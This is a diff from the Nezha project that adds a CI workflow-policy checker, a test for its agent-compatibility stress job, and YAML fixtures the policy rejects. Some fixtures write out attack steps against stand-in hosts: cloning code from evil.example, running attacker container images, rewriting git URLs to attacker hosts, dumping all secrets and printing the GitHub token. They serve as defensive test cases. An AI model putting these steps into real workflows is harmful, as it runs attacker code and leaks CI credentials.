} +} + +func allGitHubHostedLabels(node *yaml.Node) bool { + valid := true + walkScalars(node, func(scalar *yaml.Node) { + if !githubHostedRunnerPattern.MatchString(scalar.Value) { + valid = false + } + }) + return valid +} + +func containsExpression(node *yaml.Node) bool { + found := false + walkScalars(node, func(scalar *yaml.Node) { + if strings.Contains(scalar.Value, "${{") { + found = true + } + }) + return found +} + +func (c *checker) checkRequiredCacheDisabled(path string, step *yaml.Node) { + with, hasWith := mappingValue(step, "with") + cache, hasCache := mappingValue(with, "cache") + if hasWith && hasCache && explicitFalse(cache) { + return + } + node := step + if hasCache { + node = cache + } + c.reject(RuleReusableExecutable, at(path+".with.cache", node), "actions/setup-go requires cache: false") +} diff --git a/integration/agentcompat/internal/workflowpolicy/stress_workflow_test.go b/integration/agentcompat/internal/workflowpolicy/stress_workflow_test.go new file mode 100644 index 00000000..6d28c0d9 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/stress_workflow_test.go @@ -0,0 +1,82 @@ +package workflowpolicy_test + +import ( + "strings" + "testing" + + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +const agentcompatStressTestName = "TestStressPRFullEightAgentExactlyOnce" + +func TestPolicy_NezhaStressWorkflowRunsCrossRepositoryTest(t *testing.T) { + // Given + data := readNezhaQualityWorkflow(t) + var workflow qualityWorkflow + require.NoError(t, yaml.Unmarshal(data, &workflow)) + + // When + stressJob, exists := workflow.Jobs["agentcompat-stress"] + + // Then + require.True(t, exists) + require.Equal(t, "Linux agent compatibility stress", stressJob.Name) + require.Equal(t, "ubuntu-24.04", stressJob.RunsOn) + require.Equal(t, 75, stressJob.TimeoutMinutes) + require.Len(t, stressJob.Steps, 6) + require.Equal(t, []string{ + "Checkout Nezha revision", + "Checkout Agent repository", + "Set up Go", + "Prepare Dashboard build inputs", + "Require named stress test", + "Run PR-full agent compatibility stress", + }, []string{ + stressJob.Steps[0].Name, + stressJob.Steps[1].Name, + stressJob.Steps[2].Name, + stressJob.Steps[3].Name, + stressJob.Steps[4].Name, + stressJob.Steps[5].Name, + }) + + nezhaCheckout := stressJob.stepNamed(t, "Checkout Nezha revision") + require.Equal(t, "actions/checkout@v7.0.1", nezhaCheckout.Uses) + require.Empty(t, nezhaCheckout.With.Repository) + require.Empty(t, nezhaCheckout.With.Ref) + require.Equal(t, "nezha", nezhaCheckout.With.Path) + require.False(t, *nezhaCheckout.With.PersistCredentials) + + agentCheckout := stressJob.stepNamed(t, "Checkout Agent repository") + require.Equal(t, "actions/checkout@v7.0.1", agentCheckout.Uses) + require.Equal(t, "nezhahq/agent", agentCheckout.With.Repository) + require.Empty(t, agentCheckout.With.Ref) + require.Equal(t, "agent", agentCheckout.With.Path) + require.False(t, *agentCheckout.With.PersistCredentials) + + setupGo := stressJob.stepNamed(t, "Set up Go") + require.Equal(t, "actions/setup-go@v7", setupGo.Uses) + require.Equal(t, "1.26.x", setupGo.With.GoVersion) + require.False(t, *setupGo.With.Cache) + + prepareDashboardInputs := stressJob.stepNamed(t, "Prepare Dashboard build inputs") + require.Equal(t, "nezha", prepareDashboardInputs.WorkingDirectory) + require.Equal(t, strings.Join([]string{ + "go install github.com/swaggo/swag/cmd/swag@v1.16.6", + "mkdir -p cmd/dashboard/user-dist cmd/dashboard/admin-dist", + "printf 'placeholder\\n' > cmd/dashboard/user-dist/placeholder.txt", + "printf 'placeholder\\n' > cmd/dashboard/admin-dist/placeholder.txt", + "swag init --pd -d cmd/dashboard -g main.go -o cmd/dashboard/docs", + }, "\n"), strings.TrimSpace(prepareDashboardInputs.Run)) + + listStep := stressJob.stepNamed(t, "Require named stress test") + require.Equal(t, "nezha", listStep.WorkingDirectory) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -list '^"+agentcompatStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentcompatStressTestName+"'", listStep.Run) + + runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress") + require.Equal(t, "nezha", runStep.WorkingDirectory) + require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource) + require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentcompatStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run) +} diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/absolute-docker.yml b/integration/agentcompat/internal/workflowpolicy/testdata/absolute-docker.yml new file mode 100644 index 00000000..d77d2d0a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/absolute-docker.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: /usr/bin/docker run --rm ghcr.io/attacker/payload:latest diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/action-reference-missing-ref.yml b/integration/agentcompat/internal/workflowpolicy/testdata/action-reference-missing-ref.yml new file mode 100644 index 00000000..4848510b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/action-reference-missing-ref.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout + with: + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/aggregate-secret-context.yml b/integration/agentcompat/internal/workflowpolicy/testdata/aggregate-secret-context.yml new file mode 100644 index 00000000..6183700b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/aggregate-secret-context.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + ALL_SECRETS: ${{ toJSON(secrets) }} + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/alternate-absolute-docker.yml b/integration/agentcompat/internal/workflowpolicy/testdata/alternate-absolute-docker.yml new file mode 100644 index 00000000..26acddc0 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/alternate-absolute-docker.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: /bin/docker run --rm ghcr.io/attacker/payload:latest diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/and-if-condition-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/and-if-condition-failure.yml new file mode 100644 index 00000000..bd25f91e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/and-if-condition-failure.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + true && if false; then + echo ignored + fi diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/artifact-without-redaction.yml b/integration/agentcompat/internal/workflowpolicy/testdata/artifact-without-redaction.yml new file mode 100644 index 00000000..d0c97ada --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/artifact-without-redaction.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... + - uses: actions/upload-artifact@v6 + with: + path: ${{ runner.temp }}/results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/bare-anchor.yml b/integration/agentcompat/internal/workflowpolicy/testdata/bare-anchor.yml new file mode 100644 index 00000000..840e48ed --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/bare-anchor.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: &shared + MODE: test + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/boolean-uses.yml b/integration/agentcompat/internal/workflowpolicy/testdata/boolean-uses.yml new file mode 100644 index 00000000..93e0dd99 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/boolean-uses.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/cache.yml b/integration/agentcompat/internal/workflowpolicy/testdata/cache.yml new file mode 100644 index 00000000..d9e9a926 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/cache.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/cache@v4 + with: + path: bin + key: executable-cache diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/command-option-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/command-option-git-repository.yml new file mode 100644 index 00000000..7f1b0c98 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/command-option-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: command -p git clone https://github.com/attacker/payload.git payload diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/composed-custom-runner.yml b/integration/agentcompat/internal/workflowpolicy/testdata/composed-custom-runner.yml new file mode 100644 index 00000000..627e36a5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/composed-custom-runner.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + strategy: + matrix: + os: [ubuntu] + runs-on: custom-${{ matrix.os }}-latest + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/conditional-redaction.yml b/integration/agentcompat/internal/workflowpolicy/testdata/conditional-redaction.yml new file mode 100644 index 00000000..58ea4e2c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/conditional-redaction.yml @@ -0,0 +1,18 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + if: false + run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + - uses: actions/upload-artifact@v6 + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/container-runtime-alias.yml b/integration/agentcompat/internal/workflowpolicy/testdata/container-runtime-alias.yml new file mode 100644 index 00000000..2980824e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/container-runtime-alias.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: podman run --rm attacker/payload:latest diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/container.yml b/integration/agentcompat/internal/workflowpolicy/testdata/container.yml new file mode 100644 index 00000000..6aa81469 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/container.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + container: golang:latest + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/continue-on-error.yml b/integration/agentcompat/internal/workflowpolicy/testdata/continue-on-error.yml new file mode 100644 index 00000000..059d1e0b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/continue-on-error.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - continue-on-error: true + run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/cross-repository-default-ref.yml b/integration/agentcompat/internal/workflowpolicy/testdata/cross-repository-default-ref.yml new file mode 100644 index 00000000..f7bbcad7 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/cross-repository-default-ref.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@v7.0.1 + with: + repository: nezhahq/agent + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/custom-runner.yml b/integration/agentcompat/internal/workflowpolicy/testdata/custom-runner.yml new file mode 100644 index 00000000..ee04adc1 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/custom-runner.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: private-production-runner + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/docker.yml b/integration/agentcompat/internal/workflowpolicy/testdata/docker.yml new file mode 100644 index 00000000..e80f7589 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/docker.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: docker run --rm golang:latest go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/download-artifact.yml b/integration/agentcompat/internal/workflowpolicy/testdata/download-artifact.yml new file mode 100644 index 00000000..f4b7e095 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/download-artifact.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/download-artifact@v7 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/duplicate-jobs.yml b/integration/agentcompat/internal/workflowpolicy/testdata/duplicate-jobs.yml new file mode 100644 index 00000000..c688c62a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/duplicate-jobs.yml @@ -0,0 +1,17 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + first: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... +jobs: + second: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-git-repository.yml new file mode 100644 index 00000000..f29fb6d6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git ls-remote "${{ inputs.repository }}" refs/heads/main diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-indexed-untrusted-expression.yml b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-indexed-untrusted-expression.yml new file mode 100644 index 00000000..c03434bb --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/dynamic-indexed-untrusted-expression.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s\n' "${{ github[format('event')].pull_request.title }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-concurrency.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-concurrency.yml new file mode 100644 index 00000000..66123750 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-concurrency.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-run.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-run.yml new file mode 100644 index 00000000..cf401d81 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-run.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: "" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-step.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-step.yml new file mode 100644 index 00000000..e96509db --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-step.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - {} diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/empty-uses.yml b/integration/agentcompat/internal/workflowpolicy/testdata/empty-uses.yml new file mode 100644 index 00000000..1fbfe056 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/empty-uses.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: "" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/environment-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/environment-git-repository.yml new file mode 100644 index 00000000..cccb4f3c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/environment-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git clone "$REMOTE" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/external-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/external-git-repository.yml new file mode 100644 index 00000000..ca1e3232 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/external-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git clone https://evil.example/attacker/payload.git diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-config-environment.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-environment.yml new file mode 100644 index 00000000..60beee3d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-environment.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + GIT_CONFIG_COUNT: "1" + GIT_CONFIG_KEY_0: url.https://attacker.invalid/.insteadOf + GIT_CONFIG_VALUE_0: https://github.com/nezhahq/agent + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-config-mutation.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-mutation.yml new file mode 100644 index 00000000..0323bee1 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-config-mutation.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git config --global url.https://evil.example/.insteadOf https://github.com/ diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-global-option-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-global-option-repository.yml new file mode 100644 index 00000000..8e9999b6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-global-option-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git -c advice.detachedHead=false clone https://github.com/attacker/payload.git payload diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/git-url-mutation.yml b/integration/agentcompat/internal/workflowpolicy/testdata/git-url-mutation.yml new file mode 100644 index 00000000..6cad5e80 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/git-url-mutation.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git -c url.https://evil.example/.insteadOf=https://github.com/ clone https://github.com/nezhahq/nezha.git nezha diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/github-environment-git-config.yml b/integration/agentcompat/internal/workflowpolicy/testdata/github-environment-git-config.yml new file mode 100644 index 00000000..259aa59b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/github-environment-git-config.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + printf '%s\n' 'GIT_CONFIG_COUNT=1' >> "$GITHUB_ENV" + printf '%s\n' 'GIT_CONFIG_KEY_0=url.https://attacker.invalid/.insteadOf' >> "$GITHUB_ENV" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/github-token-environment.yml b/integration/agentcompat/internal/workflowpolicy/testdata/github-token-environment.yml new file mode 100644 index 00000000..13d91f5a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/github-token-environment.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + GITHUB_TOKEN: ${{ github.token }} + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/github-token.yml b/integration/agentcompat/internal/workflowpolicy/testdata/github-token.yml new file mode 100644 index 00000000..271f8df5 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/github-token.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s' "${{ github.token }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/id-token-write.yml b/integration/agentcompat/internal/workflowpolicy/testdata/id-token-write.yml new file mode 100644 index 00000000..f30a176b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/id-token-write.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read + id-token: write +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/if-condition-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/if-condition-failure.yml new file mode 100644 index 00000000..87830a42 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/if-condition-failure.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + if go test ./...; then + echo passed + fi diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/if-not-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/if-not-failure.yml new file mode 100644 index 00000000..c4ad78fe --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/if-not-failure.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + if ! go test ./...; then + echo ignored + fi diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/indexed-untrusted-expression.yml b/integration/agentcompat/internal/workflowpolicy/testdata/indexed-untrusted-expression.yml new file mode 100644 index 00000000..2d03616b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/indexed-untrusted-expression.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s\n' "${{ github['event']['pull_request']['title'] }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/local-action.yml b/integration/agentcompat/internal/workflowpolicy/testdata/local-action.yml new file mode 100644 index 00000000..46bc1a6d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/local-action.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: ./untrusted-action diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/malformed.yml b/integration/agentcompat/internal/workflowpolicy/testdata/malformed.yml new file mode 100644 index 00000000..0ff91b28 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/malformed.yml @@ -0,0 +1,4 @@ +on: [pull_request +jobs: + verify: + runs-on: ubuntu-24.04 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/mapping-permission-value.yml b/integration/agentcompat/internal/workflowpolicy/testdata/mapping-permission-value.yml new file mode 100644 index 00000000..755f9290 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/mapping-permission-value.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: + read: true +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/matrix-include-runner.yml b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-include-runner.yml new file mode 100644 index 00000000..b01abafb --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-include-runner.yml @@ -0,0 +1,16 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + strategy: + matrix: + runner: [ubuntu-24.04] + include: + - runner: self-hosted + runs-on: ${{ matrix.runner }} + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/matrix-self-hosted.yml b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-self-hosted.yml new file mode 100644 index 00000000..5b165b2c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/matrix-self-hosted.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + strategy: + matrix: + runner: [ubuntu-24.04, self-hosted] + runs-on: ${{ matrix.runner }} + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-concurrency.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-concurrency.yml new file mode 100644 index 00000000..6826703a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-concurrency.yml @@ -0,0 +1,10 @@ +on: + pull_request: +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-jobs.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-jobs.yml new file mode 100644 index 00000000..a69854f3 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-jobs.yml @@ -0,0 +1,5 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-persist-credentials.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-persist-credentials.yml new file mode 100644 index 00000000..f6e6ef84 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-persist-credentials.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@v7.0.1 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-aggregator.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-aggregator.yml new file mode 100644 index 00000000..abd9471f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-aggregator.yml @@ -0,0 +1,17 @@ +name: Missing required aggregator +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + tests: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... + linux-race-quality: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test -race -shuffle=on -count=1 ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-dependency.yml b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-dependency.yml new file mode 100644 index 00000000..4d784f95 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/missing-required-dependency.yml @@ -0,0 +1,43 @@ +name: Missing required dependency +on: + pull_request: + merge_group: + push: + branches: + - master +concurrency: policy +permissions: + contents: read +jobs: + tests: + runs-on: ubuntu-24.04 + timeout-minutes: 30 + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-go@v7 + with: + go-version: "1.26.x" + cache: false + - run: go test ./... + linux-race-quality: + runs-on: ubuntu-24.04 + timeout-minutes: 45 + steps: + - uses: actions/checkout@v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-go@v7 + with: + go-version: "1.26.x" + cache: false + - run: go test -race -shuffle=on -count=1 ./... + nezha-quality-required: + if: ${{ always() }} + needs: + - tests + runs-on: ubuntu-24.04 + timeout-minutes: 5 + steps: + - run: test "${{ needs.tests.result }}" = success diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/missing-root-permissions.yml 